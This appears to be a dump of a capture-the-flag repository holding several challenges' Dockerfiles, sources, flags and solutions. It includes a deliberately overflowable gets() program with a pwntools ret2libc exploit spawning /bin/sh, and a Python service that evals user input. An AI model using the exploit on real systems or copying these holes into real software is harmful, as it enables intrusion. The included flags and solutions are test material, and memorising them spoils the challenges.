Description 9 | Ez ez ez ez. Super ezrop. Would even call it babyrop, but a bit harder... This is revenge!. 10 | 11 | ``` 12 | nc xxx yyy 13 | ``` 14 | 15 | [chall](./ezrop) 16 | 17 | ## Proposed solution 18 | Use the gets function. The rdi after gets is always the same, so change the rdi to "%p" by running gets after the first iteration. Then use printf to leak pointers (the rdi is still the same, so its %p). Then jump back to main and overflow and do ret2libc. 19 | 20 | [solve.py](./solve.py) 21 | -------------------------------------------------------------------------------- /challenges/challenge-19/challenge.yml: -------------------------------------------------------------------------------- 1 | ../../challenge-deployment/challenge-19/challenge.yml -------------------------------------------------------------------------------- /challenges/challenge-19/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:20.04@sha256:9b8dec3bf938bc80fbe758d856e96fdfab5f56c39d44b0cff351e847bb1b01ea 2 | ENV DEBIAN_FRONTEND noninteractive 3 | 4 | RUN apt update && apt install -y socat 5 | 6 | WORKDIR /app 7 | 8 | COPY ./ezrop . 9 | COPY ./flag.txt . 10 | 11 | 12 | RUN chmod +x ezrop 13 | 14 | RUN chown -R root:root /app/* 15 | RUN chmod -R o-w /app/* 16 | RUN chown -R root:root /app/flag.txt 17 | RUN chmod -R o-w /app/flag.txt 18 | 19 | RUN useradd ctf 20 | USER ctf 21 | 22 | ENTRYPOINT socat TCP4-LISTEN:2727,fork,reuseaddr EXEC:/app/ezrop 23 | -------------------------------------------------------------------------------- /challenges/challenge-19/challenge/build.sh: -------------------------------------------------------------------------------- 1 | #gcc -fno-stack-protector -O2 -no-pie -Wl,-z,noexecstack main.c -o text 2 | gcc -fno-stack-protector -no-pie -Wl,-z,noexecstack main.c -o ezrop 3 | -------------------------------------------------------------------------------- /challenges/challenge-19/challenge/docker-compose.yml: -------------------------------------------------------------------------------- 1 | services: 2 | ezrop: 3 | build: . 4 | ports: 5 | - "2727:2727" 6 | -------------------------------------------------------------------------------- /challenges/challenge-19/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | potluck{fba7f22d5125950fe906d152df039a5a} 2 | -------------------------------------------------------------------------------- /challenges/challenge-19/challenge/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | void ignore_me() { 6 | setvbuf(stdout, NULL, _IONBF, 0); 7 | setvbuf(stdin, NULL, _IONBF, 0); 8 | setvbuf(stderr, NULL, _IONBF, 0); 9 | } 10 | 11 | void vuln() { 12 | char buf[0x20]; 13 | printf("Enter your name: "); 14 | gets(buf); 15 | } 16 | 17 | 18 | void main(int argc, char **argv) { 19 | ignore_me(); 20 | vuln(); 21 | } -------------------------------------------------------------------------------- /challenges/challenge-19/solution/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | context.arch = 'amd64' 4 | #context.log_level = 'debug' 5 | 6 | io = process('./ezrop_patched') 7 | #io = process("./test") 8 | #io = remote("localhost", 2727) 9 | #io = remote("10.212.138.23", 43430) 10 | 11 | io.recvuntil(b"name:") 12 | 13 | elf = ELF('ezrop') 14 | libc = ELF('libc.so.6') 15 | 16 | rop = ROP(elf) 17 | 18 | rop.raw('B'*0x28) 19 | pause() 20 | rop.gets() 21 | rop.printf() 22 | rop.raw(rop.ret) 23 | rop.main() 24 | 25 | io.sendline(rop.chain()) 26 | 27 | io.sendline("%3$p") 28 | io.recv() 29 | addr = int(io.recvS()[:len("0x7f7bac1e1a80")], 16) 30 | print(hex(addr)) 31 | 32 | libc.address = addr - libc.sym['_IO_2_1_stdin_'] 33 | log.success("LIBC BASE: " + hex(libc.address)) 34 | 35 | rop = ROP(libc) 36 | rop.raw('B'*0x28) 37 | rop.raw(rop.ret) 38 | rop.system(next(libc.search(b"/bin/sh"))) 39 | 40 | io.sendline(rop.chain()) 41 | io.interactive() 42 | -------------------------------------------------------------------------------- /challenges/challenge-21/README.md: -------------------------------------------------------------------------------- 1 | ## Schrödinger's P1G 2 | 3 | ### Category 4 | 5 | pwnable 6 | 7 | ### Author 8 | 9 | uz56764 10 | 11 | ### Public description 12 | 13 | A Virtual Machine containing a poor pig. And 0 and 1 14 | 15 | ### Attachment 16 | 17 | ./attachment/myP1G.zip 18 | 19 | ### FLAG 20 | 21 | `potluck{c2e46b2752c11eb49d48e535d0e0b857}` -------------------------------------------------------------------------------- /challenges/challenge-21/challenge.yml: -------------------------------------------------------------------------------- 1 | ../../challenge-deployment/challenge-21/challenge.yml -------------------------------------------------------------------------------- /challenges/challenge-21/challenge/.gitignore: -------------------------------------------------------------------------------- 1 | myP1G 2 | -------------------------------------------------------------------------------- /challenges/challenge-21/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:22.04 2 | 3 | RUN apt-get -y update --fix-missing 4 | RUN apt-get -y upgrade 5 | RUN apt-get -y install socat 6 | RUN groupadd -r ctf && useradd -r -g ctf ctf 7 | RUN chmod 1733 /tmp /var/tmp /dev/shm 8 | 9 | ADD . /home/ctf 10 | 11 | WORKDIR /home/ctf 12 | RUN echo "potluck{c2e46b2752c11eb49d48e535d0e0b857}" > flag.txt 13 | RUN chmod 440 flag.txt 14 | RUN chmod 550 myP1G 15 | 16 | RUN chown -R root:ctf /home/ctf 17 | 18 | USER ctf 19 | CMD socat TCP-L:9999,reuseaddr,fork EXEC:"./myP1G stdout" -------------------------------------------------------------------------------- /challenges/challenge-21/challenge/Makefile: -------------------------------------------------------------------------------- 1 | 2 | myP1G: source.c 3 | gcc -o $@ $^ 4 | -------------------------------------------------------------------------------- /challenges/challenge-22/.gitignore: -------------------------------------------------------------------------------- 1 | *.o 2 | *.elf 3 | *.hex 4 | *.bin 5 | .DS_STORE 6 | 7 | /private/dumped 8 | /private/app_checksum.c 9 | /private/fwupd.py 10 | /private/app.fw 11 | -------------------------------------------------------------------------------- /challenges/challenge-22/Makefile: -------------------------------------------------------------------------------- 1 | 2 | .PHONY: all 3 | all: 4 | make -C private 5 | -------------------------------------------------------------------------------- /challenges/challenge-22/challenge-1.yml: -------------------------------------------------------------------------------- 1 | ../../challenge-deployment/challenge-22/challenge.yml -------------------------------------------------------------------------------- /challenges/challenge-22/challenge-2.yml: -------------------------------------------------------------------------------- 1 | ../../challenge-deployment/challenge-23/challenge.yml -------------------------------------------------------------------------------- /challenges/challenge-22/private/build_app_hash.py: -------------------------------------------------------------------------------- 1 | from elftools.elf.elffile import ELFFile, Segment 2 | import hashlib 3 | 4 | filename = "app.elf" 5 | 6 | with open(filename, "rb") as f: 7 | firmware = ELFFile(f) 8 | cursor = 0 9 | sha256 = hashlib.sha256() 10 | for segment in firmware.iter_segments(): 11 | if segment.header.p_type != 'PT_LOAD': 12 | continue 13 | sha256.update(segment.data()) 14 | print(sha256.hexdigest()) -------------------------------------------------------------------------------- /challenges/challenge-22/private/exception_handlers.h: -------------------------------------------------------------------------------- 1 | #ifndef __EXCEPTION_HANDLERS_H__ 2 | #define __EXCEPTION_HANDLERS_H__ 3 | 4 | typedef void (*ptr_func_t)(); 5 | 6 | void RESET_handler(); 7 | void NMI_handler(); 8 | void HARDFAULT_handler(); 9 | void MEMMANAGE_handler(); 10 | void BUSFAULT_handler(); 11 | void USAGEFAULT_handler(); 12 | void SVCALL_handler(); 13 | void DEBUGMONITOR_handler(); 14 | void PENDSV_handler(); 15 | void SYSTICK_handler(); 16 | void DUMMY_handler(); 17 | void UARTE0_UART0_IRQHandler(); 18 | #endif 19 | -------------------------------------------------------------------------------- /challenges/challenge-22/private/fwupd_tail.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | r = remote('localhost', 1337) 3 | r.sendlineafter(b"SEKURBUT> ", b"flash") 4 | 5 | with log.progress("Flashing Firmware") as p: 6 | for msg in fw.strip().splitlines(): 7 | r.sendafter(b"FLASH>", bytes.fromhex(msg)) 8 | p.status(".") 9 | status = r.recvline().decode().strip() 10 | if status == 'done.': 11 | break 12 | if status != 'OK.': 13 | log.error(f"Error: '{status}'") 14 | exit(1) 15 | 16 | status = r.recvuntil(b"SEKURBUT>", drop=True).decode() 17 | 18 | if "Checksum Failure" in status: 19 | p.failure(f"{status}") 20 | exit(1) 21 | else: 22 | p.success() 23 | 24 | r.sendline(b"boot") 25 | r.interactive() -------------------------------------------------------------------------------- /challenges/challenge-22/private/nrf51.ld: -------------------------------------------------------------------------------- 1 | MEMORY { 2 | FLASH(rx) : ORIGIN = 0, LENGTH = 64K 3 | SRAM_RESERVED(rwx) : ORIGIN = 0x20000000, LENGTH = 0x100 4 | SRAM(rwx) : ORIGIN = 0x20000100, LENGTH = 16K - 0x100 5 | } -------------------------------------------------------------------------------- /challenges/challenge-22/private/nvic.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void nvic_enable_irq(int irq) { 4 | uint32_t * const ISER = (uint32_t*) 0xE000E100; 5 | *ISER |= 1 << irq; 6 | } 7 | 8 | void nvic_disable_irq(int irq) { 9 | uint32_t * const ICER = (uint32_t*) 0xE000E180; 10 | *ICER |= 1 << irq; 11 | } 12 | 13 | void nvic_set_pending(int irq) { 14 | uint32_t * const ISPR = (uint32_t*) 0xE000E200; 15 | *ISPR |= 1 << irq; 16 | } 17 | 18 | void nvic_clear_pending(int irq) { 19 | uint32_t * const ICPR = (uint32_t*) 0xE000E280; 20 | *ICPR |= 1 << irq; 21 | } 22 | 23 | /* 24 | * Each priority field holds a priority value, 0-192. The lower the value, 25 | * the greater the priority of the corresponding interrupt. The processor 26 | * implements only bits[7:6] of each field, bits [5:0] read as zero and 27 | * ignore writes. This means writing 255 to a priority register saves 28 | * value 192 to the register. 29 | */ 30 | void nvic_set_priority(int irq, char priority) { 31 | char * const IPR = (char*) 0xE000E400; 32 | IPR[irq] = priority; 33 | } -------------------------------------------------------------------------------- /challenges/challenge-22/private/nvic.h: -------------------------------------------------------------------------------- 1 | #ifndef __NVIC_H__ 2 | #define __NVIC_H__ 3 | #include 4 | 5 | void nvic_enable_irq(int irq); 6 | void nvic_disable_irq(int irq); 7 | void nvic_set_pending(int irq); 8 | void nvic_clear_pending(int irq); 9 | void nvic_set_priority(int irq, char priority); 10 | #endif -------------------------------------------------------------------------------- /challenges/challenge-22/private/nvmc.h: -------------------------------------------------------------------------------- 1 | #ifndef __NVMC_H__ 2 | #define __NVMC_H__ 3 | 4 | void nvmc_erase_all(); 5 | void nvmc_erase_page(void* addr); 6 | void nvmc_erase_uicr(); 7 | void nvmc_write(void* dest, void* src, size_t length); 8 | 9 | #endif -------------------------------------------------------------------------------- /challenges/challenge-22/private/ranges.h: -------------------------------------------------------------------------------- 1 | #ifndef __RANGES_H__ 2 | #define __RANGES_H__ 3 | 4 | extern unsigned char __text_start; 5 | extern unsigned char __text_end; 6 | 7 | extern unsigned char __bootloader_data_start; 8 | extern unsigned char __bootloader_data_end; 9 | extern unsigned char __bootloader_data_load; 10 | 11 | extern unsigned char __data_start; 12 | extern unsigned char __data_end; 13 | extern unsigned char __data_load; 14 | 15 | extern unsigned char __bss_start; 16 | extern unsigned char __bss_end; 17 | 18 | extern unsigned char __heap_start; 19 | 20 | #endif -------------------------------------------------------------------------------- /challenges/challenge-22/private/reset.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void reset() { 4 | uint32_t *const AIRCR = (uint32_t *const) 0xE000ED0C; 5 | *AIRCR = 0x05FA0004; 6 | } 7 | -------------------------------------------------------------------------------- /challenges/challenge-22/private/reset.h: -------------------------------------------------------------------------------- 1 | #ifndef __RESET_H__ 2 | #define __RESET_H__ 3 | void reset(); 4 | #endif -------------------------------------------------------------------------------- /challenges/challenge-22/private/stack.c: -------------------------------------------------------------------------------- 1 | 2 | extern unsigned __stacktop; 3 | 4 | __attribute__((section(".stack"), used)) unsigned *__stack_init = &__stacktop; -------------------------------------------------------------------------------- /challenges/challenge-22/private/stdlib.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "uart.h" 3 | #include "ranges.h" 4 | 5 | void copy_data() { 6 | memcpy(&__data_start, &__data_load, (&__data_end - &__data_start)); 7 | } 8 | 9 | void zero_bss() { 10 | memset(&__bss_start, 0, &__bss_end - &__bss_start); 11 | } 12 | 13 | void fill_heap() { 14 | unsigned *dst = (unsigned *) &__heap_start; 15 | unsigned *msp_reg; 16 | __asm__("mrs %0, msp\n" : "=r" (msp_reg) ); 17 | while (dst < msp_reg) { 18 | *dst++ = 0x45455246; 19 | } 20 | } 21 | 22 | void _putchar(char character) { 23 | uart_putc(character); 24 | } 25 | 26 | extern void main(); 27 | 28 | // reset handler 29 | void RESET_handler() { 30 | copy_data(); 31 | zero_bss(); 32 | fill_heap(); 33 | // run application 34 | main(); 35 | // stop 36 | while (1); 37 | } 38 | -------------------------------------------------------------------------------- /challenges/challenge-22/private/uart.h: -------------------------------------------------------------------------------- 1 | #ifndef __UART_H__ 2 | #define __UART_H__ 3 | #include 4 | 5 | void uart_init(); 6 | void uart_putc(char c); 7 | void uart_puts(char* s); 8 | char uart_getc(); 9 | void uart_gets(char *dest, size_t n); 10 | void uart_read(char *const dest, size_t n); 11 | void uart_write(char *const src, size_t n); 12 | #endif 13 | -------------------------------------------------------------------------------- /challenges/challenge-22/public/fwupd.py: -------------------------------------------------------------------------------- 1 | ../private/fwupd.py -------------------------------------------------------------------------------- /challenges/challenge-22/public/update.sal: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-22/public/update.sal -------------------------------------------------------------------------------- /challenges/challenge-24/challenge.yml: -------------------------------------------------------------------------------- 1 | ../../challenge-deployment/challenge-24/challenge.yml -------------------------------------------------------------------------------- /challenges/challenge-24/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | # Use the nginx alpine image as the base 2 | FROM nginx:1.25.3-alpine 3 | 4 | 5 | ARG FLAG=potluck{placeholder} 6 | 7 | # Copy the nginx configuration file 8 | COPY conf/nginx.conf /etc/nginx/nginx.conf 9 | RUN echo "set \$flag \"${FLAG}\";" > /etc/nginx/flag.conf 10 | 11 | # Copy the xsl, njs, and www directories 12 | COPY xsl/ /etc/nginx/xsl/ 13 | COPY njs/ /etc/nginx/njs/ 14 | COPY www/ /var/www/ 15 | 16 | # Expose port 80 17 | EXPOSE 80 18 | 19 | # Start nginx 20 | CMD ["nginx", "-g", "daemon off;"] -------------------------------------------------------------------------------- /challenges/challenge-24/challenge/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | 3 | services: 4 | nginx: 5 | build: 6 | context: . 7 | args: 8 | FLAG: "potluck{placeholder}" 9 | ports: 10 | - 4242:80 11 | 12 | 13 | # Locally you can uncomment these lines. 14 | 15 | # volumes: 16 | # - ${PWD}/conf/nginx.conf:/etc/nginx/nginx.conf 17 | # - ${PWD}/xsl:/etc/nginx/xsl 18 | # - ${PWD}/njs:/etc/nginx/njs 19 | # - ${PWD}/www:/var/www 20 | 21 | 22 | # And you can run this command to auto reload nginx on file change. 23 | # while inotifywait -q -e close_write njs/* conf/* xsl/* www/*; do docker compose exec nginx nginx -s reload; done 24 | 25 | # Bon appetit! -------------------------------------------------------------------------------- /challenges/challenge-24/challenge/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "wev", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "index.js", 6 | "type": "module", 7 | "scripts": { 8 | "test": "echo \"Error: no test specified\" && exit 1" 9 | }, 10 | "keywords": [], 11 | "author": "", 12 | "license": "ISC", 13 | "dependencies": { 14 | "njs-types": "^0.8.2" 15 | }, 16 | "devDependencies": { 17 | } 18 | } -------------------------------------------------------------------------------- /challenges/challenge-24/challenge/pnpm-lock.yaml: -------------------------------------------------------------------------------- 1 | lockfileVersion: '6.0' 2 | 3 | settings: 4 | autoInstallPeers: true 5 | excludeLinksFromLockfile: false 6 | 7 | dependencies: 8 | njs-types: 9 | specifier: ^0.8.2 10 | version: 0.8.2 11 | 12 | packages: 13 | 14 | /njs-types@0.8.2: 15 | resolution: {integrity: sha512-6uv1Tcb4khW45LHZqj5vu1uo7WbvB6nINZjDVmryOxiO3K7rDMqRVNJbYtLHOKNbGDqLygIip9iYZbFViIVGqA==} 16 | dev: false 17 | -------------------------------------------------------------------------------- /challenges/challenge-24/challenge/www/img/0.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-24/challenge/www/img/0.jpg -------------------------------------------------------------------------------- /challenges/challenge-24/challenge/www/img/1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-24/challenge/www/img/1.jpg -------------------------------------------------------------------------------- /challenges/challenge-24/challenge/www/img/2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-24/challenge/www/img/2.jpg -------------------------------------------------------------------------------- /challenges/challenge-24/challenge/www/img/3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-24/challenge/www/img/3.jpg -------------------------------------------------------------------------------- /challenges/challenge-24/challenge/www/img/4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-24/challenge/www/img/4.jpg -------------------------------------------------------------------------------- /challenges/challenge-24/challenge/www/index.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | Nginx Spagetthi 4 | Create your own Spaghetti with nginx! 5 |
6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 |
-------------------------------------------------------------------------------- /challenges/challenge-25/challenge.yml: -------------------------------------------------------------------------------- 1 | ../../challenge-deployment/challenge-25/challenge.yml -------------------------------------------------------------------------------- /challenges/challenge-25/challenge/deploy.flag.txt: -------------------------------------------------------------------------------- 1 | potluck{D1D_y0u_R34P_iT} 2 | -------------------------------------------------------------------------------- /challenges/challenge-25/challenge/init: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | mount -t devtmpfs devtmpfs /dev 4 | mount -t tmpfs tmpfs /tmp 5 | mount -t proc none /proc 6 | 7 | dmesg -n 1 8 | sysctl -wq kernel.dmesg_restrict=1 9 | sysctl -wq kernel.panic_on_warn=1 10 | sysctl -wq kernel.perf_event_paranoid=2 11 | sysctl -wq kernel.kptr_restrict=2 12 | 13 | 14 | echo 65536 > /proc/sys/kernel/pid_max 15 | 16 | chmod 400 /flag.txt 17 | chmod u+s /service 18 | 19 | setsid cttyhack setuidgid 1000 sh 20 | 21 | poweroff -d 1 -n -f 22 | -------------------------------------------------------------------------------- /challenges/challenge-25/challenge/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | exec qemu-system-x86_64 \ 4 | -enable-kvm \ 5 | -cpu host \ 6 | -smp 2 \ 7 | -device virtio-rng-pci \ 8 | -kernel kernel \ 9 | -initrd initramfs.cpio.gz \ 10 | -nographic \ 11 | -monitor /dev/null \ 12 | -append "console=ttyS0 quiet" 13 | -------------------------------------------------------------------------------- /challenges/challenge-25/challenge/src/.gitignore: -------------------------------------------------------------------------------- 1 | /service 2 | /dummy_init 3 | -------------------------------------------------------------------------------- /challenges/challenge-25/challenge/src/Makefile: -------------------------------------------------------------------------------- 1 | ALL_DYNAMIC = service 2 | ALL_STATIC = dummy_init 3 | ALL = $(ALL_DYNAMIC) $(ALL_STATIC) 4 | 5 | .PHONY: all 6 | all: $(ALL) 7 | 8 | CC = gcc 9 | CFLAGS = -std=c11 -Wall -Wextra -Werror 10 | 11 | $(ALL_DYNAMIC): %: %.c 12 | $(CC) $(CFLAGS) -o $@ $^ 13 | 14 | $(ALL_STATIC): %: %.c 15 | $(CC) $(CFLAGS) -static -o $@ $^ 16 | 17 | .PHONY: clean 18 | clean: 19 | $(RM) *.o $(ALL) 20 | -------------------------------------------------------------------------------- /challenges/challenge-25/challenge/task.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=task server 3 | After=network.target 4 | 5 | [Service] 6 | Type=simple 7 | User=task 8 | Group=task 9 | WorkingDirectory=/home/task 10 | ExecStart=/usr/bin/python3 server.py 28 600 ./run.sh 11 | Restart=always 12 | 13 | [Install] 14 | WantedBy=multi-user.target 15 | -------------------------------------------------------------------------------- /challenges/challenge-25/challenge/user.flag.txt: -------------------------------------------------------------------------------- 1 | THIS_IS_NOT_A_REAL_FLAG 2 | -------------------------------------------------------------------------------- /challenges/challenge-25/solution/.gitignore: -------------------------------------------------------------------------------- 1 | a 2 | powpow 3 | -------------------------------------------------------------------------------- /challenges/challenge-25/solution/Makefile: -------------------------------------------------------------------------------- 1 | ALL = powpow a 2 | 3 | .PHONY: all 4 | all: $(ALL) 5 | 6 | $(ALL): %: %.c 7 | musl-gcc -Wall -Wextra -Werror -std=c11 -static -Os -o $@ $^ 8 | -------------------------------------------------------------------------------- /challenges/challenge-25/solution/a.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | 6 | int main(void) { 7 | setbuf(stdout, NULL); 8 | setbuf(stderr, NULL); 9 | 10 | printf("uid: %d, euid: %d\n", getuid(), geteuid()); 11 | 12 | int p = fork(); 13 | if (p < 0) { 14 | err(1, "fork"); 15 | } else if (p == 0) { 16 | printf("child waiting: %d\n", getpid()); 17 | char c = 0; 18 | ssize_t x = read(1001, &c, 1); 19 | printf("GOT: %ld %#hhx\n", x, c); 20 | return 0; 21 | } 22 | 23 | printf("HELLO: %d\n", getpid()); 24 | 25 | return 0; 26 | } 27 | -------------------------------------------------------------------------------- /challenges/challenge-26/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:23.10 2 | 3 | RUN apt update && apt install socat -y 4 | 5 | COPY chal /chal 6 | COPY flag.txt /flag.txt 7 | 8 | CMD socat tcp-listen:1337,reuseaddr,fork, exec:./chal 9 | -------------------------------------------------------------------------------- /challenges/challenge-26/build/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:23.10 2 | 3 | RUN apt update && apt install build-essential -y 4 | 5 | COPY chal.c /chal.c 6 | RUN cc chal.c -o chal 7 | 8 | -------------------------------------------------------------------------------- /challenges/challenge-26/build/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | docker build -t tamagoyaki . 3 | 4 | rm -rf out 5 | mkdir out 6 | 7 | id=$(docker create tamagoyaki) 8 | docker cp $id:/chal out/ 9 | docker cp -L $id:/lib/x86_64-linux-gnu/libc.so.6 out/ 10 | docker cp -L $id:/lib64/ld-linux-x86-64.so.2 out/ 11 | docker rm -v $id 12 | 13 | 14 | echo "potluck{ptr_pr0t_i5_c00l_n_411_bu7_d03s_1t_wrk?}" > out/flag.txt 15 | -------------------------------------------------------------------------------- /challenges/challenge-26/challenge.yml: -------------------------------------------------------------------------------- 1 | ../../challenge-deployment/challenge-26/challenge.yml -------------------------------------------------------------------------------- /challenges/challenge-26/flag.txt: -------------------------------------------------------------------------------- 1 | potluck{ptr_pr0t_i5_c00l_n_411_bu7_d03s_1t_wrk?} 2 | -------------------------------------------------------------------------------- /challenges/challenge-27/README: -------------------------------------------------------------------------------- 1 | name: Shell's Kitchen 2 | category: re/pwn 3 | challenge author: blasty / discord: @blasty1337 4 | 5 | build/run instructions: 6 | cd deploy 7 | docker run -p 5000:5000 --privileged $(docker build -q .) 8 | 9 | challenge description: 10 | You are tasked to help out in the kitchen of the elusive g0rd0n r4ms4y. This 11 | rude chef needs to be put in his place real bad! Show us you're an elite chef 12 | and attempt a coup of his little kitchen. 13 | 14 | download: dist.tar.gz 15 | service: nc 1.2.3.4 5500 16 | 17 | -------------------------------------------------------------------------------- /challenges/challenge-27/challenge.yml: -------------------------------------------------------------------------------- 1 | ../../challenge-deployment/challenge-27/challenge.yml -------------------------------------------------------------------------------- /challenges/challenge-27/deploy/Dockerfile: -------------------------------------------------------------------------------- 1 | # use the jail base image 2 | FROM pwn.red/jail 3 | # copy the root files from any Docker image 4 | COPY --from=ubuntu / /srv 5 | # setup the binary to run 6 | 7 | ENV JAIL_TMP_SIZE=16M 8 | 9 | COPY chall /srv 10 | COPY flag.txt /srv 11 | COPY run.sh /srv 12 | COPY gordon.bin /srv 13 | COPY kitchen.bin /srv 14 | RUN chmod +x /srv/chall 15 | RUN chmod +x /srv/run.sh 16 | 17 | RUN mkdir /srv/app && ln -s /run.sh /srv/app/run -------------------------------------------------------------------------------- /challenges/challenge-27/deploy/chall: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-27/deploy/chall -------------------------------------------------------------------------------- /challenges/challenge-27/deploy/flag.txt: -------------------------------------------------------------------------------- 1 | potluck{3y3_4m_n0t_th3_0n3_t0_s0Rt_0f_s1T_4nD_cRY_0v3R_sP1Lt_m1LK!1!!} 2 | -------------------------------------------------------------------------------- /challenges/challenge-27/deploy/gordon.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-27/deploy/gordon.bin -------------------------------------------------------------------------------- /challenges/challenge-27/deploy/kitchen.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-27/deploy/kitchen.bin -------------------------------------------------------------------------------- /challenges/challenge-27/deploy/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | (/chall /gordon.bin /tmp/x 1 >/dev/null 2>/dev/null) & 4 | sleep 1 5 | /chall /kitchen.bin /tmp/x 0 6 | -------------------------------------------------------------------------------- /challenges/challenge-27/source/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc -Wall -DDEBUG=1 -I./include -o main-debug src/*.c 3 | gcc -Wall -I./include -o main src/*.c 4 | 5 | dist: program 6 | x86_64-linux-musl-gcc -Wall -I./include -o main_dist src/*.c -static 7 | x86_64-linux-musl-strip -s main_dist 8 | x86_64-linux-musl-gcc -DDEBUG=1 -Wall -I./include -o main_dist_debug src/*.c -static 9 | cp main_dist deploy/chall 10 | cp prog/kitchen.bin deploy/kitchen.bin 11 | cp prog/gordon.bin deploy/gordon.bin 12 | 13 | program: 14 | python3 tools/asm.py prog/kitchen.asm prog/kitchen.bin 15 | @xxd prog/kitchen.bin 16 | python3 tools/asm.py prog/gordon.asm prog/gordon.bin 17 | @xxd prog/gordon.bin 18 | 19 | 20 | clean: 21 | rm -rf main main_dist main_dist_debug prog/*.bin 22 | -------------------------------------------------------------------------------- /challenges/challenge-27/source/prog/defs.s: -------------------------------------------------------------------------------- 1 | .equ SC_EXIT 0 2 | .equ SC_PUTCHAR 1 3 | .equ SC_GETCHAR 2 4 | .equ SC_IPC_SENDMSG 3 5 | .equ SC_IPC_RECVMSG 4 6 | .equ SC_GET_RANDOM32 5 7 | .equ SC_HEXDUMP 6 8 | .equ SC_UPTIME 7 -------------------------------------------------------------------------------- /challenges/challenge-27/source/tools/cpu_const.py: -------------------------------------------------------------------------------- 1 | OP_NOP = 0x00 2 | OP_BRANCH = 0x01 3 | OP_LOAD = 0x02 4 | OP_STORE = 0x03 5 | OP_ALU = 0x04 6 | OP_SYSCALL = 0x05 7 | OP_COMPARE = 0x06 8 | OP_MOV = 0x07 9 | OP_PUSH = 0x08 10 | OP_POP = 0x09 11 | OP_CALL = 0xA 12 | OP_RET = 0xC 13 | 14 | OP_EXPECT = 0xFF 15 | 16 | SRC_REG = 0x0 17 | SRC_IMM = 0x1 18 | 19 | ALU_ADD = 0x0 20 | ALU_SUB = 0x1 21 | ALU_MUL = 0x2 22 | ALU_DIV = 0x3 23 | ALU_AND = 0x4 24 | ALU_OR = 0x5 25 | ALU_XOR = 0x6 26 | ALU_SHL = 0x7 27 | ALU_SHR = 0x8 28 | 29 | BRANCH_ALWAYS = 0 30 | BRANCH_LT = 1 31 | BRANCH_GT = 2 32 | BRANCH_EQ = 3 33 | BRANCH_LTE = 4 34 | BRANCH_GTE = 5 35 | BRANCH_NEQ = 6 36 | 37 | CMP_MODE_REG = 0 38 | CMP_MODE_IMM8 = 1 39 | 40 | CALL_MODE_REL = 0 41 | CALL_MODE_REG = 1 42 | 43 | TOKEN_INST = 0x00 44 | TOKEN_REG = 0x01 45 | TOKEN_IMMEDIATE = 0x02 46 | 47 | PROT_NONE = 0 48 | PROT_READ = 1 49 | PROT_WRITE = 2 50 | PROT_EXEC = 4 51 | -------------------------------------------------------------------------------- /challenges/challenge-28/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM pwn.red/jail 2 | 3 | COPY --from=python:3.10-slim / /srv 4 | COPY ./main.py /srv/app/run 5 | COPY ./flag.txt /srv/app/flag.txt 6 | RUN chmod 755 /srv/app/run 7 | 8 | ENV JAIL_MEM=30M JAIL_TIME=180 9 | -------------------------------------------------------------------------------- /challenges/challenge-28/challenge.yml: -------------------------------------------------------------------------------- 1 | ../../challenge-deployment/challenge-28/challenge.yml -------------------------------------------------------------------------------- /challenges/challenge-28/flag.txt: -------------------------------------------------------------------------------- 1 | potluck{tac0_fun_can_you_g0lf_it_m0re} 2 | -------------------------------------------------------------------------------- /challenges/challenge-28/main.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python 2 | while True:# 3 | x = input("palindrome? ")# 4 | assert "#" not in x, "comments are bad"# 5 | assert all(ord(i) < 128 for i in x), "ascii only kthx"# 6 | assert x == x[::-1], "not a palindrome"# 7 | assert len(x) < 36, "palindromes can't be more than 35 characters long, this is a well known fact."# 8 | assert sum(x.encode()) % 256 == 69, "not nice!"# 9 | eval(x)#)x(lave 10 | 